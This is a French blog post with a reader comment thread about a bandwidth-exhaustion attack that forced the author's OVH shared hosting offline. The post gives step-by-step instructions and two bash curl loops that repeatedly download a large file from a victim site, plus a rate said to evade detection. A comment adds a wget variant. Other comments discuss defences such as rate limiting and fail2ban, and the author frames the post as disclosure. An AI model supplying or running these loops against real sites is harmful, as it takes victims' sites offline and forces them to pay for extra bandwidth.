Attaque DDOS à la bande passante : comment forcer la fermeture d'un hébergement mutualisé chez OVH
Voici une technique qui permet de forcer la fermeture d'un hébergement mutualisé chez OVH. Celle-ci fonctionne plutôt bien, puisque j'en ai été victime. On ne peut pas faire grand chose pour la contrer, c'est plus à OVH de mettre en place le filtrage adéquat. Chose qu'ils n'ont pas l'intention de faire dans l'immédiat. Bref, en attendant, beaucoup de gens vont pouvoir s'en donner à cœur joie.
Pour la petite histoire, j'ai eu plusieurs échanges avec le support OVH (3 personnes différentes), et à chaque fois, c'était plus ou moins la même réponse. La solution pour remettre mes sites en ligne était de payer de la bande passante supplémentaire (500 Go chez eux est facturé 60€). Grosso modo, on vous demande de payer pour un truc dont vous n'êtes pas responsable, alors que cela devrait être à eux de protéger les hébergements mutualisés.
En attendant, voilà comment fonctionne l'attaque DDOS à la bande passante :
1. Connectez-vous sur un site hébergé en mutualisé chez OVH
2. Recherchez ensuite un fichier avec la plus grosse taille possible (ex: une vidéo, une archive zip...).
3. On va ensuite faire une attaque DDOS à la bande passante, en utilisant cette commande :
while /bin/true; do curl --user-agent "Firefox/3.6.10 DTC" http://victime.fr/download.zip > /dev/null; sleep 1; done
Cette attaque est possible chez OVH, car la bande passante des hébergements mutualisés est limitée. Si vous consommez plus que ce qui est prévu, un système automatique vous envoie un avertissement. Si vous ne rachetez pas de bande passante, on ferme votre site au bout de 3 jours.
Petite précision quand même, la commande ci-dessus tourne à un rythme d'une requête par seconde, grâce à l'utilisation de sleep. D'après ce que j'ai pu voir, on peut monter facilement à 9 requêtes par seconde sans se faire repérer. Voici donc une variante du script un peu plus efficace :
#!/bin/bash while /bin/true do curl --user-agent "Firefox/3.6.10 DTC" http://victime.fr/download.zip > /dev/null; curl --user-agent "Firefox/3.6.10 DTC" http://victime.fr/download.zip > /dev/null; curl --user-agent "Firefox/3.6.10 DTC" http://victime.fr/download.zip > /dev/null; curl --user-agent "Firefox/3.6.10 DTC" http://victime.fr/download.zip > /dev/null; curl --user-agent "Firefox/3.6.10 DTC" http://victime.fr/download.zip > /dev/null; curl --user-agent "Firefox/3.6.10 DTC" http://victime.fr/download.zip > /dev/null; curl --user-agent "Firefox/3.6.10 DTC" http://victime.fr/download.zip > /dev/null; curl --user-agent "Firefox/3.6.10 DTC" http://victime.fr/download.zip > /dev/null; curl --user-agent "Firefox/3.6.10 DTC" http://victime.fr/download.zip > /dev/null; sleep 1; done
Bien entendu, plus le fichier demandé sera gros, plus l'attaque sera rapide et efficace.
A titre d'exemple, le jour où Tux-planet a été victime de cette attaque, il y a eu 123 828 requêtes de faites sur un fichier de 6 Mo (utilisation de deux adresses IP différentes, venant du réseau interne de chez Air France).
# cat tux-planet.fr-06-10-2010.log | grep 6179400 | grep 193.57.xxx.xxx | wc -l
13300
# cat tux-planet.fr-06-10-2010.log | grep 6179400 | grep 193.57.xxx.xxx | wc -l
110528
Il n'aura donc fallu que 3H38 (de 14H14 à 17H52) à l'attaquant pour consommer prêt de 712 Go de bande passante et faire saturer mon quota mensuel. Voici un tableau récapitulatif des limites en fonction des hébergements :
- 90plan 600 Go
- 240plan : 800 Go
- Perso : 500 Go
- Pro : 1 To
- Business : 2 To
- Premium : 5 To
Pour les autres offres (Serveur Dédié, RPS...), ce type d'attaque ne peut fonctionner, car la bande passante incluse est illimitée.
Créé en 2005, Tux-planet est un site qui a pour ambition de regrouper des articles sur Linux et le monde des logiciels libres. 
58 Commentaires pour "Attaque DDOS à la bande passante : comment forcer la fermeture d'un hébergement mutualisé chez OVH"
Flux des commentaires de cet article Ajouter un commentairemalheureux de voir qu'OVH ne compte pas solutionner ce problème...
Tux-planet victime de son succès ?
mais que veux donc Air France !?
Tu peux aussi le faire avec wget.
wget -nv http://victime.fr/download.zip
Mais wahou 712Go en 3h38, il a fait fort ^^
Une solution possible: "protéger" le téléchargement de tes fichiers par un "streamer" PHP.
Du coup, tu pourrais faire toi même les limitations de connexions que tu souhaites.
Si les checks sont au vert, le script PHP lit le fichier demandé et en envoie le contenu au visiteur.
Ca ne résoud pas tout, mais ça peut t'éviter le genre de mésaventure que tu viens de subir.
A noter que ça marche également chez 1and1
j'aurai cru que tu hébergeais et gérais ton serveur toi même
Même si c'est vrai que le mutu a le confort de la simplicité ^^
je me demandais ce qui se passait quand j'ai vu le site fermé ...
Et migrer vers un autre hebergeur ? C'est quelque chose de compliqué, pas interessant ?
@loïc m. : je suis parti avec Air Canada au Mexique cet été, ça vient de là peut-être...
@JB : cette solution n'est pas possible chez moi. Cela m'obligerai à revoir tous les liens dans tous les articles, car une fois le système PHP en place, les urls ne sont plus les mêmes.
@Christophe : chez 1and1, la bande passante est illimitée d'après ce que j'ai pu voir. Donc pour moi cette technique ne marche pas chez eux.
@Gonzague : je gère 77 serveurs pour l'Université de Rennes 1 (au dernier recensement). On héberge à peu près 1000 sites web. Quand je rentre chez moi le soir, j'ai envie de faire autre chose. Voilà pourquoi j'étais en mutualisés.
@Muy_Bien : le choix d'un hébergeur n'est pas quelque chose de simple. Il y a des offres intéressantes à l'étranger, mais comme les serveurs ne sont plus en France, il peu y avoir des problèmes de performances réseau. Et puis j'ai absolument besoin du SSH et Ovh est le seul à le proposer en mutualisé.
Et du coup là t'es encore en mutu chez OVH, t'as réouvert comment ?
Et t'hébergeais le planet-libre aussi ?
@pti-seb : Illimité oui, gratuit non (0.5€/Go supplémentaire)... De nombreuses personnes (dont je fait parti) se sont fait avoir et le dialogue avec 1and1 se limite à de la mauvaise foie et une entreprise de recouvrement (Infoscore), de nombreux exemples pullulent sur le web.
C'est moche en effet, par contre de la à parler de DDOS avec 2 ip sources de l'attaque sa me fait limite penser à du comptage de manifestant à Marseille
@pti-seb: tu as accès à des rewrite rules ? Si toutes tes URLs ont un schéma commun, ça peut être possible à peu de frais. Sinon, c'est vrai que c'est méchamment chiant :-/
Hello,
Quelqu'un à des astuces (liens, pdf, etc..) pour protéger des serveurs d'hébergement mutualisé face à des attaques DDOS
Merci d'avance
A+
Plop,
petite précision, il ne s'agit pas d'une attaque DDOS, car le premier D veut dire distribued, ce qui n'est pas le cas dans ton exemple. Après on pourait le faire de manière distribuée avec un botnet..
Sinon, technique intéressante en effet. Bien que OVH ne puisse finalement pas faire grand chose. Une solution serait de faire un filtre fail2ban qui bloque une ip qui télécharge trop de fois le meme fichier non html ou qqch comme ça.
C'est dégueulasse, c'est vrai. Mais ils ne peuvent en rien empêcher ça au niveau technique, car ça peut être un comportement voulu d'accéder un grand nombre de fois à la même url (même si celle-ci te nique ta BP).
"
Ils auraient pu faire un geste commercial car je cite Octave :
"Puis de mettre en place une infrastructure qui va supporter le trafic illimité sur les offres de mutu, en vrai, pas seulement en marketing ...
(même si je pense que ce sera une offre tarifée).
Tu proposes des fichiers au téléchargement, à toi d'anticiper ce cas de figure. Cela peut être une attaque manifeste ou bien un site à fort trafic qui te link, ou bien qui fait un lien "sauvage" vers un de tes fichiers.
Avec un rewrite rule sur les zip/rar/pdf/.... vers un script php qui streamera le contenu, tu devrais pouvoir mettre en place un système de hit rate limit par ip.
Sinon tu as les services d'hébergement gratuit de fichiers.
En tout cas, je te conseille un coup de fil au siège d'Air France, en demandant le service juridique.
La seule base légale :
http://www.legifrance.gouv.fr/affichCode.do?idSectionTA=LEGISCTA000006149839&cidTexte=LEGITEXT000006070719&dateTexte=20101018
L'article intéressant dans ton cas est le 323-2. L'action menée a bel et bien entravé le fonctionnement d'un STAD.
@pti-seb : des hébergeurs mutualisés en France qui proposent le SSH, il en existe en dehors d'OVH...
Petite question, c'était un fichier de quel article qui était visé ?
Amazon pour les gros fichiers, why not
Et comment savoir si notre dépassement de bande passante est due à une attaque de ce genre ? Dans ce cas ils ne peuvent pas nous réclamer des sous non ?
@pti-seb :
Hello.
Peut-etre j'ai raté un truc, mais mavenhosting http://www.mavenhosting.com/ fait l'hébergement sans limite de bande passante, et avec le SSH.
Yves
@Jérôme M. : bien oui, le Planet-libre était au même endroit. Les admins travaillent en ce moment pour le remettre sur pied. Sinon je suis sur un dédié maintenant.
@Christophe : ok
@Jérémy : c'est vrai il n'y a que deux IP. Mais On pourrait utiliser la même technique avec des centaines d'IP différentes aussi.
@doczak : le fail2ban oui, mais c'est possible que sur des serveurs dédiés. Sur du mutualisé, tu ne peux rien installer. Et comme les admins OVH ne font rien d'en ce genre de cas....
@Maxime : le coup du script PHP, je continu et je persiste, ce n'est pas possible dans mon cas. Mon dossier public contient des milliers de fichiers, ils ont été déposés là au fur et à mesure des années. Et je n'avais jamais ce problème avant.
Et puis l'attaque à eu lieu sur un fichier de 6 Mo en 3H30. On peut donc faire la même chose sur une image de 3 Mo en 6H-7H. Et s'il faut aussi protéger les images, cela devient ingérable.
@Maxime : aucun article n'était visé. La personne à pris le plus gros fichier qu'elle a trouvé, afin de rendre l'attaque la plus courte possible.
@djiock : si ils peuvent te réclamer des sous, même si la consommation de la bande passante est liée à une attaque. J'ai essayé de négocier avec OVH, ils n'en ont rien à foutre. Tu es là juste pour payer, rien de plus.
@dufy : cool mais je ne cherche plus d'hébergement maintenant.
Sinon une autre anecdote avec OVH, puisque j'ai passé plusieurs jours avec eux à dialoguer à travers le support. Et bien j'ai remarqué ceci :
- temps de réponse du support commerciale : 15 minutes
- temps de réponse du support technique 24H (même si tu réponds à une question d'un technicien dans la minute qui suit).
Bref, quand il s'agit de dépenser de l'argent, ils sont là pour toi.
Ce qui me chagrine le plus dans la réaction de OVH n'est pas le fait qu'il ne se protège pas contre se genre d'attaque. Ce n'est pas simple techniquement parlant et cela peut avoir un effet inverse: générer un mécontentement car on limite l'utilisation de sa bande passante. C'est plus le fait qu'il n'admette pas que tu as été victime d'une attaque et que te demander de payer un supplément dans ce cas n'est pas du tout commercial...
Mais, et si on avait un dédié, quel script tu mettrait en place pour stopper ajouter une regle dans la firewall après X requête au site ?
Arf, j'ai l'impression que tu débarques pour le coup ..
1/ les attaques type "bandwdith rape" sont aussi vieilles que ..(le web ?). L'un des moyens de s'en prémunir en mutu est, comme cela est dit plus haut, de passer toutes les requêtes à des fichiers sensibles (filtrage par type mime ou poids > 500 Ko) à travers un script qui analyse les comportements. Quelques règles dans un .htaccess, un script php (ou python) et un stockage dans une bdd sql pour les infos, c'est une heure de codage au plus (et il est certainement possible de trouver des script du genre en ligne). Dans ce cas de figure, l'attaque est nettement plus longue : faut vraiment le vouloir pour tuer 600Go de bandwitdh avec des fichiers de 50Ko à 500Ko (poids d'une page)
600 000 Mo / 6 Mo = 100 000 requêtes
600 000 Mo / 0.5 Mo = 1 200 000 requêtes
2/ ce problème n'est pas spécifique à ovh, c'est le point sensible de tous les mutus qui n'ont pas une bande passante illimitée
3/ comme cela à été dit, un filtrage au niveau de l'hébergeur pourrait avoir des effets néfastes sur l'usage possible des mutus. Pour ma part, un hébergeur mutu qui impose des quotas par heure ou par IP peut se frotter avant que je souscrive à un abo.
4/ autant ovh est merdique à bien des niveaux (genre la limitation des transferts ftp par script), autant là, tu es en partie responsable et les blâmer ne rime pas à grande chose même si je conçois que la situation soit chiante
interessant ca ! Mais c'est quand meme dingue que les hébergeurs ne se préoccupent pas de ca !
En mm temps, c'est pas dans leur interet, vu qu'il faut passer a leur caisse pour débloquer la situation !
Hello.
Pour info 1&1 propose un hébergement mutualisé avec bande passante illimitée et accès SSH.
Je suis chez eux (pack pro environ 10€/mois) depuis 2007 pas de souci à signaler et le support est réactif.
http://commander.1and1.fr/xml/order/Hosting
A+...
@i M@N : illimitée oui, mais pas gratuit : fais attention et relis bien le contrat
http://forum.lesarnaques.com/internet-probleme-fai-hebergeur/1and1-vielle-arnaque-depassement-bande-passante-t51682.html
Yop
avec curl 7.19.7 le --user-agent= ne fonctionne pas c'est plutot:
curl --user-agent "Firefox/3.6.10 DTC" http://victime.fr/download.zip > /dev/null;
Méchant pti-seb, méchant pti-seb! :p
C'est arrêtable comme attaque (Flood TCP), mais le plus chiant... c'est les attaques UDPs qui génère rarement des logs (Si tu n'as pas les outils approprier).
Après, des bonnes règles Iptables stop la plupart des attaques (UPD, TCP, SYN, etc)... Cependant, quand tu as 3 serveurs en local qui flood ton serveur. Le firewall bloque l'attaque... Mais la bande passante est saturé et donc la machine est immobilisée.
J'ai déjà eu une attaque de ce genre, 3 serveurs OVH qui me flooder UDP... La seul solution : Contacter OVH pour qu'ils arrêtent les serveurs qui attaquent.
Il existe aussi un module pour Apache (Mod eveasi... un truc du genre) pour bloquer les floods TCP.
Oui sur un dédié, mais sur un hébergé.. tu peux pas faire grand chose..
@Nicolargo : pareil pour l'aspect commerciale. Au début je me suis dit, c'est une attaque, ils ne vont pas me faire payer. Et bien en faite non.
@bartounet : j'ai corrigé.
@Dere011 : comme le dit @bartounet, ici on ne parle pas d'un problème sur un serveur dédié.
On peut au moins limiter ce genre de chose, même sur du mutualisé.
1- Identifier les ips sources DDOS
2- Si l'ip est suspecte, on balance juste un header d'erreur (404, 500, à votre guise).
Pour identifier les suspects, perso, j'utilisais des ratios/période de temps.
Par exemple: +2 req/sec et +100 req / minute. On peut évidemment fine-tuner la chose en pondérant par page, en traquant les dl en les faisant passer par un script de download etc.
Certes, ça ne bloque rien d'autre que le HTTP mais ca évite au moins l'exemple curl bourrin donné.
http://genoxia.fr/source_php/teste_php.txt
C'est un exemple, tout est possible avec PHP
@beno : le truc aussi, c'est que sur les mutus de chez OVH, tu as accès au logs que le lendemain. Donc en générale, quand l'attaque survient, tu ne la voit pas en direct. Et 24h après, il est déjà trop tard.
@Dere011 : Encore faut-il que l'attaquant prenne soin d'envoyer un cookie l'identifiant de session. Ce qu'il ne fera sûrement pas, donc tu auras une nouvelle session à chaque "hit"
Chez Online, le traffic mutu est illimité:
http://www.online.net/hebergement-mutualise/comparatif-des-offres-pour-site-internet.xhtml
@michel : Tu es certain qu'il n'y a pas de partie cachée comme chez 1and1 ? (voir mes messages précédents)
@Maxime : Il suffit d'utiliser dans ce cas l'adresse IP de l'utilisateur
J'ai remarqué également que http://tux-pla.net/ était hors-ligne. J'imagine qu'il était aussi dans ton mutualisé chez OVH. Tu as l'intention de le remettre en route ?
Ne soit pas trop gentil en payant un truc qui si ça se trouve, c'est eux qui l'ont mis en place ! Pour gagner du pognon et s'en foutre plein les fouilles... et s'acheter une 8ème ferrari rose ( oui, c'est moche une ferrari rose)
Y'a un tracking de l'ip demandante quelque part ?
Si ce n'est pas le cas, comment peuvent ils affirmer que cela ne viens pas d'eux pour faire de la vente forcé ?
Si y'a l'ip demandante, il y a quand même moyen de pallier a cette faille :
Les serveurs mutualisés sont un jour ou l'autre physique, tu partages un espace réel...
Sur une machine OVH peu donc placer un fichier comme sur les dédiés permettant de bloquer les requêtes trop nombreuses venant d'une seul machine (de façon a ce que le fichier le plus gros ne puisse pas être interrogé dans le mois plus de fois que ce que la bande passante te le permet...
Si tu veux les embetter un peu tu leur demande le mode de calcul : de ta bande passante et le nom de leur grossiste en bande passante
http://blog.spyou.org/wordpress-mu/2010/08/28/combien-ca-coute-la-bande-passante/
Imagine en plus que ton billet soit influent, (c'est le cas)
Des associations de consommateurs se ferais du bain béni de ta nouvelle...
@Jérôme : Y'a pas que la bande passante dans le mutu, y'a le stockage, l'infra de frontaux qui servent les contenus, etc ...
D'un coté, on peut trouver ça méchant de la part d'un hébergeur de faire payer son client pour ça, de l'autre, l'hébergeur, lui, il a rien fait .. pourquoi ce serait plus a lui qu'au client de payer ?
Il n'y a aucun débat à avoir dans cette histoire et ta vengeance en forme de script pour faire tomber un hébergement est assez WTF à mon humble avis.
Quand tu as souscrit l'hébergement chez OVH tu as accepté leurs conditions d'utilisation qui stipulent que tu es responsable des fichiers présents sur ton serveur et du trafic que ça engendre (qu'il soit honnête ou non).
@ProfNoel : oui je vais le remettre en route, faut juste me laisser un peu de temps.
@Jérôme : pas con comme idée, sauf que j'ai plus envie de me battre. J'ai dialogué avec eux assez longtemps comme ça, ils m'ont épuisé.
@Maxime : effectivement, j'aurais pu me taire et garder la méthode pour moi. Ça doit être une vie passionnante que de fermer tous les hébergements OVH (ou autres) qui ne te plaisent pas.
Non franchement, je préfère divulguer la méthode (qui d'après les commentaires ne date pas d'aujourd'hui) et forcer les hébergeurs à mettre en place le système de protection qui va bien, si c'est techniquement possible bien sûr.
@pti-seb : Totalement d'accord pour la divulgation de la méthode. Le partage de l'information c'est aussi un principe du Libre.
Bonjour,
c'est une attaque, en tout cas un usage volontairement fait pour nuire... donc tu vas porter plainte et il y aura bien un responsable quelque part.
ça peut te servir d'entraînement pour un cas plus sérieux.
Bon courage
G
Tu as fermé le mini-blog ? :'(
Le mini-blog et tux-pla.net refonctionne maintenant. ( cc @SSHNuke @ProfNoel )
Pour infos, Tux-planet tourne maintenant sur une Dedibox.
Triste histoire en effet, mais ça ne m'étonne pas d'Ovh, ils sont entrain de ce faire une petite réputation sympa.
Comme indiqué plus haut par Plop, OVH ne peut rien faire dans un tel cas. Comment détecter si c'est un téléchargement abusif (en vue d'attaque) d'un ensemble de téléchargements normaux d'une personne équipée fibre ? D'autant qu'on peut varier l'attaque en changeant de fichier à chaque wget.
Je trouve que c'est limite difamatoire d'accuser ici OVH alors qu'il ne faisait que transmettre ce qu'on leur demandait de télécharger.
C'est au gérant du site de prévoir ce genre de chose en utilisant des limitations via Php entre autre, chose qu'il semble non décidé à faire
Il serait dommage qu'une personne qui rale salisse la réputation d'OVH apprécié par des centaines de milliers d'autres sites qu'il héberge.
Mutualisé Fin 2010, trafic illimité, voilà comment ils ont fixé le problème
Ils sont fort !
Jusqu'ici, quand je lis sur le net un billet méchant sur OVH (ou autres hébergeurs mutu), en creusant un peu, on découvre souvent que le probleme provient tout simplement de l'incompétence de la personne qui se plaint. Ou pour être gentil, de son absence d'implication dans la résolution du problème, et d'un manque de prévoyance.
C'est le cas ici : OVH fourni un hébergement, il délivre le contenu qu'on lui demande, c'est à toi de gérer l'utilisation qu'en font tes visiteurs, pour ne pas dépasser un quota que tu (ou ton hébergeur) fixes.
Comme indiqué plus haut par d'autres, tu as des possibilités de tracker les accès, d'automatiser une surveillance (et donc de mettre en place une protection à base de mail pour te prévenir d'un abus, de ban d'IP etc...) sur tous les fichiers > xx Ko sur un dossier donné, sans remettre en cause ton architecture ou tes liens.
Mais c'est tellement plus simple de gueuler contre l'hébergeur hein...
Il y a parfois des vrais trucs à reprocher à OVH, ou 1&1 etc... mais là OVH a réagit comme il faut.
Ceci dit, désormais la BP est désormais illimitée (et gratuite) chez OVH, tu peux donc continuer à ne pas protéger tes fichiers, en toute tranquilité.
Depuis le mois d'août 2010 (donc deux mois au moins avant ton attaque), OVH a ajouté l'option « pare-feu applicatif » aux hébergements mutualisés, indiquant toutefois que cela avait une incidence négative sur les performances du site. J'ignore cependant si cela protège des attaques visant à user toute la bande passante consommée.
Ceci dit, cette attaque n'a plus de raison d'être, maintenant qu'OVH vient d'officialiser la bande passante illimitée sur les hébergements mutualisés Perso, Pro, Business et Premium. Si l'on dispose d'un hébergement plus ancien (60gp, 90plan, 240plan, etc.), il faut migrer vers les nouvelles offres (dont les prix sont sensiblement en hausse en comparaison).
Enfin, je partage mon étonnement de voir qu'OVH n'ait pas mis en place de système d'alerte interne lorsque la bande passante d'un site web explosait sans raison apparente. L'attaque aurait alors pu être mise en évidence (chargement en boucle d'un même fichier depuis deux adresses IP d'un même réseau) et arrêtée avant épuisement du quota de bande passante.
Ceci étant, as-tu pensé à contacter les administrateurs du réseau distant ? Je veux dire : il s'agit très probablement d'une attaque contre ton site et donc d'une volonté délibérée de mettre en branle ton système d'information. Il y a de quoi porter plainte. A défaut, sensibiliser le service informatique responsable du réseau distant des pratiques douteuses de leurs usagers.
J'ai rencontré le même problème plus de 700 giga de consommé sur une offre perso se qui a fait fermé mon site, j'ai du le transféré chez un autre hébergeur ou je n'ai plus de problème maintenant car en illimité, mais bizarrement la consommation n'explose plus depuis un mois.
Pour tous :
donc ovh vien de trouver la solution et vous n'avez pas a inquiéter la dessus et de quitter notre cher OVH
c'est résolu pour OVH puisque actuellement les offres d'hébergements perso, pro buisiness et premium ont un traffic illimité
Bonjour,
Est-ce vraiment résolu s'il vous plait ? J'ai entendu dire que leur illimité n'est que du pseudo-illimité, un peu comme sur 1&1, mais je n'ai pas trouvé confirmation.
Je pense ouvrir un compte chez eux (un pack pro) pour hébergé un site légale mais sensible. Il s'agit du site d'une association qui à déjà subi plusieurs attaques par ddos.
Est-ce que l'auteur du sujet peux venir apporter des nouvelles concernant les changements de ovh ?
Je vous remercie d'avance.
Bonjour,
Il y a t-il une méthode pour sécurisé cette faille ? ( a par payer pour être Prenium )
OVH compte t-il faire une mise a jour ?
De même je possède un hébergeur ou je ne suis pas en illimité peut il comme même être effectuer une attaque Ddos de ce type la ?
Merci d'avance
Bonjour, existe-t-il un moyen de tester d'autres type d'attaque sur son site web ?
voir même un protocole des attaques avec un genre de manuel afin de pouvoir vérifier par sois même si son site est protéger.
Votre ressource est intéressante et je vais la tester mais tester également d'autres aspect (connu) d'attaque peut être une bonne idée.
il faut dire ce sujet me passionne mais surtout pour mes clients que je puisse fournir un excellent service via des tests de sécurité.
ce n'est pas toujours facile de tester si son espace ou serveur dédié résistera à une attaque mais un minimum s'impose.
Dommage, y'a un super tuto ici.
Trop bien s'tuto je te conseil de le lire :p